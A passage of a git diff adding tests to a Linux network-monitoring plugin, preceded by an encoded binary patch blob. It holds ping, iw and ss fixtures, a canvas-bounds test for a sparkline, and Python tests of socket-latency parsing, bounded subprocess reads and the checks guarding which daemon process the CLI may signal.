zm~;FlQSqJi13(7P1zX>xg8sOh>&~GTXp{#g!sT))LrnW-xEclGKQLYU#@brYD>8NL zbA^;?nXMA$-b3yIRtOnDI1(z0Ir z66mnrYEv*gK#fMfXBAxp`LN|D!IE>{Fyt&`yww*vEaM6a1pq{oq0Ulv+8tXR)?6%j z-4u%Sa8te3!SAxuG;P+Y`Q7iFM5BASyN?MtsRO)!YuS3>Ft`2rVj^Y58R^evjNk`M zjE$LEW_<=XNw1}s-$SR_%d@XfI9}9)8_`Qt@@L&e_-4D9_7gPi?EbZ>&m_9zCJA`2 zQ-l=1rg67`c&S(u(X5HWJbo%w=`P1;aTWrlxYt_`L+0_l#ZlY7L_yw!**zl7BQ;)x zU+CEFkFs7U((Rt+Cj^u^pgi|WJvkGmGR#+j8Uk z<%TO_%}>Y>H|b*jF(HFW+#3lRc!e70EhPl>--V7V>K~_JTOg@e;MxIp`MP64P8=hA zel~7-Jym_ORX>XY2iYE{NL9avz?&3^pP!I}d@u+9tX}T1Y72WRKH}$ytqUF83EV{P zL^QA7&LkG7KNQ0U5L+V}Pm`pqWsT_NP76rJ<@tSsZpNP8#kN0*M+WzI-1b!oKXx8~ zy9!ilUt^mCuz?zVHb(9b5WL1l-|;q2%!GFl*XrzRCg8A%(+}Pt9<(7xUXE_T6E;=IFD@aV!gh*cY z_N8xFd|Rc6t>C z^diuMLJ%p|J6Ca%VNOFf>%1{fS@8DbfHH%`5+Fo0As&y7B5Q00;-kOtXL2BT;O{3_ zhIVhy4Z@1FP*?Kyme#z%+E*lKcWp18Qbz$kgr)8FGwO_-Ry{6BW-2`EDY`iRrDw}} z6UZF70GPqX&$)8(Eb1eYV(+`(L?IpmZ3W$%UbGTM?rOUCIw`&5H%(>fIhj7Le6}=$C(MX%ZJYwrz5h@ttRj&_ICVEqIyewXzL`5_ZRb~ zcz;~4B<6hdUk(qBp=f?+5vBWHJopxAij1L#&Ayfd@JKi&D(*&QGesmtauwt@IJ}7z zC;;SFASN!l*pb`F)zGft54}U~xV*vq2)?goUu^bBEEj42apfWLi3!I)aL(p;8q(ZJ z_09VLPk=c7P0>%hE0*PLFb8R#ZGs7V$+V}h<>o_aICDEiyuwproBlanAxC^XZ|w-p z+Y%^pUNu-8QAWs9rh;kI^-S5%Xe3AQHrINm`yD$v+K~H*i|k{;M%5UR#sDAU7sBJE4Fh?dDXi zevXXkATPqu&9&_uh-Y-#wG7YJfuBQvC><=da(?E-EirIy zwjGfPtQ6)QcEUN^&Lf!p#PI-~OBzXxlhl^zpT5-_F~PQG(w}bNA;zEnnB-!D9pKX2 zmzz+O^TF@@=?cS^{UtZ@1MD1KA2%-`skr~?ClON#{tTu&ukuG5nh#*1^47LDO>W0g z#Xv1hQuCdwQu7ZOLsabFSDhht$<#dl@3*4m|WBR9UVsdXK(qfO@tli zMJFWZW&7HXCsV%+_Kb_7GSbztE*GE5^Qj7us*Wt0*B#?H(=HKqG$BD|mK8Ud^Hv}H zQ)7_#;RpZEccIi#!z3{wrUaUTFHJ9CSS>= zSD(WUnxuoeH2g=zUB3bINX%1=%?`Km$$S~Czdn}7R@l4v)y;SYw%Xet&$Y89wV{s= zlgU?g^_f|4TIbQix%?4aIdZ1wn`2)B5Qo?qpeOx{T{6j>TK#+-quG>QUi(FesF*Zm z=A$~OtDbUpddtReu}I2Pp=8o%i(S6?DUENh=LA$K-A@pmCc(l4|bBYBW$~IKo2Ub zc8oLP-hyL`#JVPGOcdv=dJb+p)dV(pUB(@nPB+#-ZfianxM&MX=+ye~Ju7A#Z#7e13sOaGPVX>>kOBmF5IFfIAw(La6;MWb zVWQf@%acET8B6TRNY ziZ!v=Y?|xv^P)MQdPyW`b3G>LWD$OzF4nucjcLv{~)l& zl+X4YknSCH{ZQU6Yy9T$!dQE? 02:aa:bb:cc:dd:ee reason 8: Disassociated because sending station is leaving (or has left) the BSS +1788278079.142608: wlo1 (phy #0): disconnected (by AP) reason: 8: Disassociated because sending station is leaving (or has left) the BSS +1788278079.250838: wlo1 (phy #0): scan started +1788278082.019194: wlo1 (phy #0): scan finished: 2412 2417 2422 2427 2432 2437 2442 2447 2452 2457 2462 2467 2472 5180 5200 5220 5240 5260 5280 5300 5320 5500 5520 5540 5560 5580 5600 5620 5640 5660 5680 5700 5720 5745 5765 5785 5805 5825 5845 5865 5955 5975 5995 6015 6035 6055 6075 6095 6115 6135 6155 6175 6195 6215 6235 6255 6275 6295 6315 6335 6355 6375 6395 6415, "x3me" "" +1788278082.068166: wlo1: new station 02:11:22:33:44:05 +1788278082.070230: wlo1 (phy #0): auth 02:11:22:33:44:05 -> 02:aa:bb:cc:dd:ee status: 0: Successful +1788278082.079172: wlo1 (phy #0): assoc 02:11:22:33:44:05 -> 02:aa:bb:cc:dd:ee status: 0: Successful +1788278082.079235: wlo1 (phy #0): connected to 02:11:22:33:44:05 +1788278082.101842: wlo1 (phy #0): ctrl. port TX status (cookie 70f): acked +1788278082.104043: wlo1 (phy #0): ctrl. port TX status (cookie 710): acked diff --git a/plugins/io.github.x3me.nexthop/test/fixtures/iw-link.txt b/plugins/io.github.x3me.nexthop/test/fixtures/iw-link.txt new file mode 100644 index 0000000..d95d475 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/fixtures/iw-link.txt @@ -0,0 +1,11 @@ +Connected to b4:a2:5c:19:d6:20 (on wlo1) + SSID: Excitel + freq: 5180.0 + RX: 3863830534 bytes (50083937 packets) + TX: 548710762 bytes (4490767 packets) + signal: -64 dBm + rx bitrate: 309.7 MBit/s 40MHz HE-MCS 6 HE-NSS 2 HE-GI 0 HE-DCM 0 + tx bitrate: 458.8 MBit/s 40MHz HE-MCS 9 HE-NSS 2 HE-GI 0 HE-DCM 0 + bss flags: short-slot-time + dtim period: 1 + beacon int: 100 diff --git a/plugins/io.github.x3me.nexthop/test/fixtures/ping-losses.txt b/plugins/io.github.x3me.nexthop/test/fixtures/ping-losses.txt new file mode 100644 index 0000000..330570b --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/fixtures/ping-losses.txt @@ -0,0 +1,8 @@ +PING 10.10.0.253 (10.10.0.253) 56(84) bytes of data. +[1787562369.690501] no answer yet for icmp_seq=1 +[1787562370.195259] no answer yet for icmp_seq=2 +[1787562370.698418] no answer yet for icmp_seq=3 +[1787562371.202303] no answer yet for icmp_seq=4 +[1787562371.707355] no answer yet for icmp_seq=5 +[1787562372.221354] no answer yet for icmp_seq=5 +[1787562372.290416] From 10.10.0.147 icmp_seq=1 Destination Host Unreachable diff --git a/plugins/io.github.x3me.nexthop/test/fixtures/ping-replies.txt b/plugins/io.github.x3me.nexthop/test/fixtures/ping-replies.txt new file mode 100644 index 0000000..7a7e200 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/fixtures/ping-replies.txt @@ -0,0 +1,6 @@ +PING 10.10.0.1 (10.10.0.1) 56(84) bytes of data. +[1787562260.703963] 64 bytes from 10.10.0.1: icmp_seq=1 ttl=64 time=9.13 ms +[1787562261.204546] 64 bytes from 10.10.0.1: icmp_seq=2 ttl=64 time=9.00 ms +[1787562261.707487] 64 bytes from 10.10.0.1: icmp_seq=3 ttl=64 time=11.3 ms +[1787562262.201694] 64 bytes from 10.10.0.1: icmp_seq=4 ttl=64 time=4.38 ms +[1787562262.702621] 64 bytes from 10.10.0.1: icmp_seq=5 ttl=64 time=4.17 ms diff --git a/plugins/io.github.x3me.nexthop/test/fixtures/ss-rtt-guards.txt b/plugins/io.github.x3me.nexthop/test/fixtures/ss-rtt-guards.txt new file mode 100644 index 0000000..f2db9c3 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/fixtures/ss-rtt-guards.txt @@ -0,0 +1,14 @@ +ESTAB 0 0 192.0.2.10:36900 198.51.100.7:443 users:(("good-a",pid=1001,fd=10)) + cubic rto:213 rtt:20.0/5.0 mss:1238 bytes_sent:40000 bytes_acked:40001 bytes_received:120000 minrtt:10.0 +ESTAB 0 0 192.0.2.10:36901 198.51.100.7:443 users:(("good-b",pid=1002,fd=11)) + cubic rto:213 rtt:34.0/6.0 mss:1238 bytes_sent:9000 bytes_acked:9001 bytes_received:31000 minrtt:14.0 +ESTAB 0 0 192.0.2.10:36902 198.51.100.7:443 users:(("good-c",pid=1003,fd=12)) + cubic rto:213 rtt:120.5/9.0 mss:1238 bytes_sent:8000 bytes_retrans:2400 bytes_acked:7600 bytes_received:90000 minrtt:100.5 +ESTAB 0 0 192.0.2.10:36903 198.51.100.7:443 users:(("tiny",pid=1004,fd=13)) + cubic rto:213 rtt:9.0/2.0 mss:1238 bytes_sent:500 bytes_acked:501 bytes_received:900 minrtt:5.0 +ESTAB 0 0 192.0.2.10:36904 198.51.100.7:443 users:(("no-timing",pid=1005,fd=14)) + cubic rto:213 mss:1238 bytes_sent:50000 bytes_acked:50001 bytes_received:70000 +ESTAB 0 0 192.0.2.10:36905 198.51.100.7:443 users:(("implausible",pid=1006,fd=15)) + cubic rto:213 rtt:99999.0/500.0 mss:1238 bytes_sent:60000 bytes_acked:60001 bytes_received:80000 minrtt:12000.0 +ESTAB 0 0 192.0.2.10:36906 198.51.100.7:443 users:(("inverted",pid=1007,fd=16)) + cubic rto:213 rtt:11.0/3.0 mss:1238 bytes_sent:70000 bytes_acked:70001 bytes_received:90000 minrtt:40.0 diff --git a/plugins/io.github.x3me.nexthop/test/fixtures/ss-tinp.txt b/plugins/io.github.x3me.nexthop/test/fixtures/ss-tinp.txt new file mode 100644 index 0000000..67f4c84 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/fixtures/ss-tinp.txt @@ -0,0 +1,8 @@ +ESTAB 0 0 192.0.2.10:36900 198.51.100.7:443 users:(("chrome",pid=4958,fd=66)) + cubic wscale:7,10 rto:213 rtt:12.8/10.5 mss:1238 bytes_sent:328028 bytes_acked:328029 bytes_received:2724692 segs_out:1205 segs_in:2905 minrtt:8.412 +ESTAB 0 0 192.0.2.10:54430 203.0.113.9:443 users:(("slack",pid=7753,fd=28)) + cubic wscale:12,10 rto:232 rtt:31.2/4.5 mss:1238 bytes_sent:14099 bytes_retrans:108 bytes_acked:13992 bytes_received:65451 minrtt:29.004 +ESTAB 0 0 192.0.2.10:39590 198.51.100.7:443 users:(("chrome",pid=4958,fd=159)) + cubic wscale:7,10 rto:216 rtt:15.0/12.1 mss:1238 bytes_sent:4858 bytes_acked:4859 bytes_received:8142 minrtt:6.55 +ESTAB 0 0 192.0.2.10:41000 203.0.113.20:22 + cubic rto:210 rtt:10/5 mss:1400 bytes_sent:999 bytes_received:888 diff --git a/plugins/io.github.x3me.nexthop/test/pathspark_bounds.js b/plugins/io.github.x3me.nexthop/test/pathspark_bounds.js new file mode 100644 index 0000000..c630b44 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/pathspark_bounds.js @@ -0,0 +1,115 @@ +// Nothing pathspark draws may land outside the canvas it was given. +// +// Two geometry defects shipped from this file in one day: the ring on the +// wrong slot (0.2.39) and the ring drawn half outside the right edge +// (0.2.41). Both were invisible to every other check in the battery — +// qmllint does not evaluate it, and the Python suite cannot reach it. +// `draw()` is pure, so a fake 2d context can. +// +// Run by test/test_pathspark.py, which skips when node is absent. + +const fs = require("fs"); +const path = require("path"); + +const src = fs.readFileSync( + path.join(__dirname, "..", "pathspark.js"), "utf8"); +const Spark = new Function( + src + "\nreturn { draw: draw, slots: slots, sharedMax: sharedMax };")(); + +function recorder(w, h) { + const marks = []; + let lw = 1, cur = null; + const note = (what, x0, y0, x1, y1) => + marks.push({ what, x0, y0, x1, y1 }); + return { + marks, + set lineWidth(v) { lw = v; }, + get lineWidth() { return lw; }, + set strokeStyle(v) {}, set fillStyle(v) {}, + set lineJoin(v) {}, set lineCap(v) {}, set globalAlpha(v) {}, + clearRect() {}, + beginPath() { cur = []; }, + moveTo(x, y) { cur.push([x, y]); }, + lineTo(x, y) { cur.push([x, y]); }, + arc(x, y, r) { cur.push(["arc", x, y, r]); }, + stroke() { + for (const p of cur || []) { + if (p[0] === "arc") { + const [, x, y, r] = p; + note("ring", x - r - lw / 2, y - r - lw / 2, + x + r + lw / 2, y + r + lw / 2); + } else { + note("line", p[0] - lw / 2, p[1] - lw / 2, + p[0] + lw / 2, p[1] + lw / 2); + } + } + cur = null; + }, + fill() { + for (const p of cur || []) { + if (p[0] === "arc") { + const [, x, y, r] = p; + note("dot", x - r, y - r, x + r, y + r); + } + } + cur = null; + }, + fillRect(x, y, rw, rh) { note("bar", x, y, x + rw, y + rh); }, + }; +} + +const opts = (phase, live, motion) => ({ + max: 50, phase, live, motion, + colorFor: () => "#9ece6a", downColor: "#f7768e", dimColor: "#565f89", +}); + +const N = 36; +const cases = { + "all at the top of the scale": Array(N).fill({ v: 50 }), + "all at zero": Array(N).fill({ v: 0 }), + "over the scale max": Array(N).fill({ v: 5000 }), + "all down": Array(N).fill({ down: true }), + "all gaps": Array(N).fill(null), + "newest is down": Array(N).fill({ v: 5 }).map((p, i) => + i >= N - 3 ? { down: true } : p), + "newest is a gap": Array(N).fill({ v: 5 }).map((p, i) => + i === N - 1 ? null : p), + "one lone measured slot": Array(N).fill(null).map((p, i) => + i === N - 1 ? { v: 50 } : p), + "alternating gaps": Array(N).fill(null).map((p, i) => + i % 2 ? { v: 50 } : null), +}; + +let checks = 0, bad = []; +for (const [w, h] of [[120, 22], [60, 22], [200, 22], [120, 16], [40, 12]]) { + for (const [name, series] of Object.entries(cases)) { + for (const phase of [0, 0.25, 0.5, 0.75, 1]) { + for (const [live, motion] of [[true, true], [true, false], [false, false]]) { + const ctx = recorder(w, h); + Spark.draw(ctx, w, h, series, opts(phase, live, motion)); + for (const m of ctx.marks) { + checks++; + const out = m.x0 < -0.01 || m.y0 < -0.01 + || m.x1 > w + 0.01 || m.y1 > h + 0.01; + if (out) { + bad.push(`${w}x${h} ${name} phase=${phase} motion=${motion}: ` + + `${m.what} spans x[${m.x0.toFixed(2)},${m.x1.toFixed(2)}] ` + + `y[${m.y0.toFixed(2)},${m.y1.toFixed(2)}]`); + } + } + } + } + } +} + +if (!checks) { + console.error("the harness drew nothing — it is not testing anything"); + process.exit(1); +} +const seen = [...new Set(bad)]; +if (seen.length) { + console.error(`${seen.length} marks outside the canvas:`); + for (const b of seen.slice(0, 12)) console.error(" " + b); + process.exit(1); +} +console.log(`ok — ${checks} marks, all inside the canvas`); diff --git a/plugins/io.github.x3me.nexthop/test/support.py b/plugins/io.github.x3me.nexthop/test/support.py new file mode 100644 index 0000000..1a408dd --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/support.py @@ -0,0 +1,67 @@ +"""Shared fixtures for the nexthopd tests. + +Fixtures under fixtures/ are recorded from a real Arch laptop (ping from +iputils, iw 6.x) — the formats these parsers exist to survive. The ss +fixture is synthetic (RFC 5737 addresses). + +Run everything: python3 -m unittest discover -s test +""" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +FIXTURES = Path(__file__).parent / "fixtures" +REPO = Path(__file__).resolve().parent.parent + + +def run_inline(fn): + """A synchronous spawn for watchers that run their check off the loop.""" + fn() + + +def run_now(fn): + """A spawn for tests: run the check inline so its result lands this tick.""" + fn() + + +def _st(count=60, loss=0.0, p50=20.0, p95=30.0): + return {"count": count, "loss": loss, "p50": p50, "p95": p95} + + +class FakeStore: + def __init__(self): + self.opened = [] + self.closed = [] + + def open_event(self, ts, kind, sev, leg, detail): + self.opened.append((kind, sev, leg, detail)) + return len(self.opened) + + def close_event(self, event_id, ts): + self.closed.append(event_id) + + +class StubEvents: + """Stands in for NlEvents: answers cause_for() with a fixed cause.""" + + def __init__(self, cause=None, raise_=False): + self.cause, self.raise_, self.calls = cause, raise_, [] + + def cause_for(self, bssid, now, window): + self.calls.append((bssid, now, window)) + if self.raise_: + raise RuntimeError("boom") + return self.cause + + +class _FakeDaemonForDisruption: + """Just enough of Daemon to exercise record_disruption.""" + + def __init__(self, store): + self.store = store + + from nexthopd.daemon import Daemon as _D + record_disruption = _D.record_disruption + del _D diff --git a/plugins/io.github.x3me.nexthop/test/test_apps.py b/plugins/io.github.x3me.nexthop/test/test_apps.py new file mode 100644 index 0000000..0d17456 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_apps.py @@ -0,0 +1,244 @@ +"""Tests for apps.py — ss parsing, per-app attribution, kernel socket timing, the bounded read. + +Run: python3 -m unittest discover -s test +""" + +import subprocess +import sys +import time +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from nexthopd.apps import ( # noqa: E402 + AppTraffic, + Sock, + latency_stats, + parse_ss, + socket_timing) +from support import FIXTURES # noqa: E402 + + +class AppAttribution(unittest.TestCase): + def fixture(self): + return (FIXTURES / "ss-tinp.txt").read_text() + + def test_parse_ss(self): + socks = parse_ss(self.fixture()) + # The unattributed ssh socket (no users:()) is skipped. + self.assertEqual(len(socks), 3) + apps = sorted({v[0] for v in socks.values()}) + self.assertEqual(apps, ["chrome", "slack"]) + chrome = [v for v in socks.values() if v[0] == "chrome"] + self.assertEqual(sum(v[3] for v in chrome), 2724692 + 8142) + + def test_rates_are_deltas_not_lifetimes(self): + t = AppTraffic() + base = parse_ss(self.fixture()) + t._fold(base, 100.0) + # Baseline sample must not count connection lifetimes as traffic. + self.assertEqual(t.rates, []) + grown = {k: v._replace(sent=v.sent + 1000, recv=v.recv + 3000) + for k, v in base.items()} + t._fold(grown, 103.0) + by_name = {a["name"]: a for a in t.rates} + self.assertAlmostEqual(by_name["chrome"]["rx_bps"], 2 * 3000 / 3, delta=1) + self.assertEqual(by_name["chrome"]["conns"], 2) + self.assertEqual(by_name["slack"]["rx_total"], 3000) + + # ------------------------------------------------- kernel socket timing + + def guards(self): + return (FIXTURES / "ss-rtt-guards.txt").read_text() + + def test_parse_ss_reads_kernel_timing(self): + socks = parse_ss(self.fixture()) + slack = next(v for v in socks.values() if v.app == "slack") + self.assertEqual(slack.srtt, 31.2) + self.assertEqual(slack.minrtt, 29.004) + self.assertEqual(slack.retrans, 108) + # A socket the kernel has not timed reports None, never zero — zero + # would read as "instant", which is the opposite of "unknown". + untimed = parse_ss( + 'ESTAB 0 0 192.0.2.10:1 198.51.100.7:443 users:(("x",pid=9,fd=1))\n' + '\t cubic bytes_sent:99999 bytes_received:99999\n') + self.assertIsNone(next(iter(untimed.values())).srtt) + self.assertIsNone(next(iter(untimed.values())).minrtt) + + def test_latency_stats_from_fixture(self): + st = latency_stats(parse_ss(self.fixture())) + self.assertEqual(st["sockets"], 3) + self.assertEqual(st["rejected"], 0) + self.assertEqual(st["rtt_p50"], 15.0) + self.assertEqual(st["floor_p50"], 8.41) + # Queueing is the median of 12.8-8.412, 31.2-29.004, 15.0-6.55. + self.assertEqual(st["queue_p50"], 4.39) + self.assertEqual(st["retrans_sockets"], 1) + + def test_queueing_divides_out_distance(self): + """The point of the metric: a far socket and a near one with the + same queueing must report the same queueing.""" + near = Sock("near", 1, 50_000, 50_000, srtt=15.0, minrtt=5.0) + far = Sock("far", 2, 50_000, 50_000, srtt=310.0, minrtt=300.0) + self.assertEqual(socket_timing(near)[2], socket_timing(far)[2]) + st = latency_stats({"a": near, "b": far, + "c": Sock("mid", 3, 50_000, 50_000, + srtt=60.0, minrtt=50.0)}) + self.assertEqual(st["queue_p50"], 10.0) + # ...while the raw round trips stay far apart, as they should. + self.assertEqual(st["rtt_p50"], 60.0) + self.assertEqual(st["floor_p50"], 50.0) + + def test_guards_reject_implausible_and_thin_sockets(self): + socks = parse_ss(self.guards()) + self.assertEqual(len(socks), 7) + st = latency_stats(socks) + # good-a, good-b, good-c qualify. + self.assertEqual(st["sockets"], 3) + # tiny (under the byte floor), implausible (past the ceiling) and + # inverted (floor above the average) are rejected... + self.assertEqual(st["rejected"], 3) + # ...but the socket the kernel simply has not timed is NOT counted as + # a rejection: absent evidence is not bad evidence. + untimed = [v for v in socks.values() if v.srtt is None] + self.assertEqual(len(untimed), 1) + self.assertEqual(st["retrans_sockets"], 1) + + def test_each_guard_individually(self): + ok = Sock("ok", 1, 50_000, 50_000, srtt=20.0, minrtt=10.0) + self.assertIsNotNone(socket_timing(ok)) + # Below the byte floor the path's own minimum is not trustworthy. + self.assertIsNone(socket_timing(ok._replace(sent=100, recv=100))) + # Plausibility ceiling: a broken measurement, not a slow link. + self.assertIsNone(socket_timing(ok._replace(srtt=99_999.0))) + # A floor above the average cannot happen; the field is stale. + self.assertIsNone(socket_timing(ok._replace(minrtt=40.0))) + # Rounding in `ss` output must not trip the inversion check. + self.assertIsNotNone(socket_timing(ok._replace(srtt=20.0, minrtt=20.02))) + # Zero or missing timing yields nothing rather than a zero RTT. + self.assertIsNone(socket_timing(ok._replace(srtt=0.0))) + self.assertIsNone(socket_timing(ok._replace(minrtt=None))) + + def test_under_sampled_publishes_nothing(self): + two = {"a": Sock("a", 1, 50_000, 50_000, srtt=20.0, minrtt=10.0), + "b": Sock("b", 2, 50_000, 50_000, srtt=22.0, minrtt=11.0)} + # Two qualifying sockets is not a distribution. + self.assertIsNone(latency_stats(two)) + three = dict(two, c=Sock("c", 3, 50_000, 50_000, srtt=24.0, minrtt=12.0)) + self.assertIsNotNone(latency_stats(three)) + self.assertIsNone(latency_stats({})) + + def test_per_app_timing_medians(self): + t = AppTraffic() + base = parse_ss(self.guards()) + t._fold(base, 100.0) + t._fold({k: v._replace(sent=v.sent + 500, recv=v.recv + 500) + for k, v in base.items()}, 103.0) + by_name = {a["name"]: a for a in t.rates} + self.assertEqual(by_name["good-a"]["rtt_ms"], 20.0) + self.assertEqual(by_name["good-a"]["queue_ms"], 10.0) + self.assertEqual(by_name["good-c"]["queue_ms"], 20.0) + # An app whose sockets all failed the guard reports no timing at all + # rather than a fabricated zero. + self.assertIsNone(by_name["tiny"]["rtt_ms"]) + self.assertIsNone(by_name["no-timing"]["rtt_ms"]) + self.assertIsNone(by_name["inverted"]["queue_ms"]) + # The aggregate rides along on the same fold. + self.assertEqual(t.latency["sockets"], 3) + + def test_idle_apps_report_no_timing(self): + t = AppTraffic() + base = parse_ss(self.fixture()) + t._fold(base, 100.0) + t._fold(base, 103.0) + t._fold({}, 106.0) + idle = {a["name"]: a for a in t.top()} + # No live socket means no measurement, not a stale one. + self.assertIsNone(idle["chrome"]["rtt_ms"]) + self.assertIsNone(idle["chrome"]["queue_ms"]) + + def test_socket_cap_bounds_parsing(self): + # Thousands of distinct sockets parse to at most the cap. + lines = [] + for i in range(3000): + lines.append( + 'ESTAB 0 0 192.0.2.10:%d 198.51.100.7:443 ' + 'users:(("app%d",pid=%d,fd=4))' % (10000 + i, i % 7, 100 + i)) + lines.append('\t cubic bytes_sent:100 bytes_received:200') + socks = parse_ss("\n".join(lines), max_sockets=50) + self.assertEqual(len(socks), 50) + + def test_new_socket_counts_whole_life(self): + t = AppTraffic() + t._fold({}, 100.0) + t._fold(parse_ss(self.fixture()), 103.0) + by_name = {a["name"]: a for a in t.rates} + # Born between samples: its full counters are this interval's traffic. + self.assertEqual(by_name["slack"]["rx_total"], 65451) + + +class SubprocessBounds(unittest.TestCase): + def test_ss_read_gives_up_at_the_deadline_and_reaps(self): + from nexthopd.apps import read_bounded + proc = subprocess.Popen( + [sys.executable, "-c", + "import sys, time; sys.stdout.write('abc'); sys.stdout.flush();" + " time.sleep(30)"], stdout=subprocess.PIPE) + t0 = time.monotonic() + self.assertIsNone(read_bounded(proc, 4096, 0.3)) + # The deadline bounds the CALL. The old 3.0 here was slack hiding + # the fact that reaping ran on its own clock afterwards. + self.assertLess(time.monotonic() - t0, 0.3 + 0.4) + self.assertIsNotNone(proc.returncode) # reaped, not a zombie + + def test_reaping_a_child_that_will_not_die_still_returns_the_loop(self): + """`ss` in uninterruptible sleep must not hold the daemon's loop. + + This is the case the budget exists for: terminate ignored, kill + not collectable. Before the budget was shared, reaping spent a + flat 2 s here on top of a deadline that had already expired, so + the loop could block for the deadline plus 2.1 s — past the age + at which the bar declares the daemon dead. + """ + from nexthopd.apps import _reap + + class Undying: + returncode = None + + def poll(self): + return None + + def terminate(self): + pass + + def kill(self): + pass + + def wait(self, timeout=None): + time.sleep(timeout) + raise subprocess.TimeoutExpired("ss", timeout) + + t0 = time.monotonic() + _reap(Undying(), 0.4) + self.assertLess(time.monotonic() - t0, 0.4 + 0.3) + + def test_ss_read_is_capped_and_still_reaps(self): + from nexthopd.apps import read_bounded + proc = subprocess.Popen( + [sys.executable, "-c", "import sys; sys.stdout.write('x' * 200000)"], + stdout=subprocess.PIPE) + out = read_bounded(proc, 1000, 5.0) + self.assertEqual(len(out), 1000) + self.assertIsNotNone(proc.returncode) + + def test_ss_read_returns_complete_output(self): + from nexthopd.apps import read_bounded + proc = subprocess.Popen( + [sys.executable, "-c", "print('line1'); print('line2')"], + stdout=subprocess.PIPE) + self.assertEqual(read_bounded(proc, 4096, 5.0), "line1\nline2\n") + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_cli.py b/plugins/io.github.x3me.nexthop/test/test_cli.py new file mode 100644 index 0000000..d8fbb50 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_cli.py @@ -0,0 +1,161 @@ +"""Tests for cli.py — the two signal paths and what authorizes them. + +Run: python3 -m unittest discover -s test +""" + +import os +import subprocess +import sys +import tempfile +import time +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from support import REPO # noqa: E402 + + +class RetireAuthorization(unittest.TestCase): + """The guard that stands between a version mismatch and a SIGTERM. + + It used to be a shell one-liner that could not be tested; it passed a + NUL to `tr`, so execve truncated the script and no daemon was ever + actually retired. These cases pin each fact it checks. + """ + + def setUp(self): + from nexthopd.cli import authorized_to_retire + self.auth = authorized_to_retire + from nexthopd.daemon import proc_start_ticks + self.ticks = proc_start_ticks + + def spawn(self, args, cwd=None): + import subprocess + p = subprocess.Popen(args, cwd=cwd, stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL) + self.addCleanup(lambda: (p.kill(), p.wait())) + time.sleep(0.4) + return p + + def daemon_shaped(self): + """A process whose argv is exactly `python -m nexthopd`. + + A stand-in rather than the real daemon: the real one would lose the + flock race against whatever is already running and exit before the + guard could look at it, and a test has no business probing the + network. The guard reads argv, owner and start time — all of which + this reproduces exactly. + """ + d = tempfile.mkdtemp() + self.addCleanup(lambda: __import__("shutil").rmtree(d, True)) + pkg = Path(d) / "nexthopd" + pkg.mkdir() + (pkg / "__init__.py").write_text("") + (pkg / "__main__.py").write_text("import time\ntime.sleep(30)\n") + return self.spawn([sys.executable, "-m", "nexthopd"], cwd=d) + + def test_daemon_argv_with_matching_start_is_authorized(self): + p = self.daemon_shaped() + self.assertTrue(self.auth(p.pid, self.ticks(p.pid))) + + def test_wrong_start_time_refused(self): + p = self.daemon_shaped() + self.assertFalse(self.auth(p.pid, self.ticks(p.pid) + 1)) + + def test_zero_start_skips_only_the_time_check(self): + # live.json from a daemon too old to publish pid_start: argv and + # ownership still have to hold. + p = self.daemon_shaped() + self.assertTrue(self.auth(p.pid, 0)) + + def test_other_python_process_refused(self): + # Same interpreter, different module: never ours to signal. + p = self.spawn([sys.executable, "-c", "import time; time.sleep(30)"]) + self.assertFalse(self.auth(p.pid, 0)) + + def test_lookalike_argv_refused(self): + # A process that merely mentions nexthopd is not the daemon. + p = self.spawn([sys.executable, "-c", + "import time; time.sleep(30) # -m nexthopd"]) + self.assertFalse(self.auth(p.pid, 0)) + + def test_extra_arguments_refused(self): + p = self.spawn([sys.executable, "-m", "nexthopd.cli", "stream", "live"]) + self.assertFalse(self.auth(p.pid, 0)) + + def test_pid_that_does_not_exist_refused(self): + self.assertFalse(self.auth(999999, 0)) + + def test_pid_one_refused(self): + # Owned by root, so the ownership check alone stops us. + self.assertFalse(self.auth(1, 0)) + + def test_command_string_carries_no_nul(self): + # The regression itself: the argv QML hands to sh must survive + # execve, which a NUL byte would truncate. + import subprocess + cmd = ('cd "$1" && exec python3 -m nexthopd.cli retire ' + '--pid "$2" --start "$3"') + self.assertNotIn("\0", cmd) + r = subprocess.run(["sh", "-c", cmd, "sh", str(REPO), "999999", "0"], + capture_output=True) + self.assertEqual(r.returncode, 1) # refused, not a syntax error + self.assertEqual(r.stderr, b"") + + +class PeakSignalAuthorization(unittest.TestCase): + """`nexthop peak` signals only a verified lock holder. SIGUSR1's default + disposition is terminate, so the wrong pid is not a harmless miss.""" + + def setUp(self): + import contextlib, io + from nexthopd import cli, paths + self.dir = tempfile.TemporaryDirectory() + os.environ["XDG_STATE_HOME"] = self.dir.name + self.cli = cli + self.lock = str(paths.lock_path()) + os.makedirs(os.path.dirname(self.lock), mode=0o700, exist_ok=True) + self.killed = [] + self._kill = os.kill + os.kill = lambda pid, sig: self.killed.append((pid, sig)) + self._quiet = contextlib.redirect_stdout(io.StringIO()) + self._quiet.__enter__() + + def tearDown(self): + self._quiet.__exit__(None, None, None) + os.kill = self._kill + del os.environ["XDG_STATE_HOME"] + self.dir.cleanup() + + def test_a_lock_nobody_holds_is_not_a_daemon(self): + # A dead daemon's pid, recycled by a live process — this one. + Path(self.lock).write_text(str(os.getpid())) + self.assertEqual(self.cli.cmd_peak(None), 1) + self.assertEqual(self.killed, []) + + def test_a_held_lock_still_needs_the_holders_identity(self): + import fcntl + # Hold the lock ourselves: our argv is the test runner, not + # `python -m nexthopd`, so the identity check must refuse it. + fd = os.open(self.lock, os.O_RDWR | os.O_CREAT, 0o600) + fcntl.flock(fd, fcntl.LOCK_EX) + os.write(fd, str(os.getpid()).encode()) + try: + self.assertEqual(self.cli.cmd_peak(None), 1) + self.assertEqual(self.killed, []) + finally: + os.close(fd) + + def test_a_symlink_at_the_lock_path_is_refused(self): + 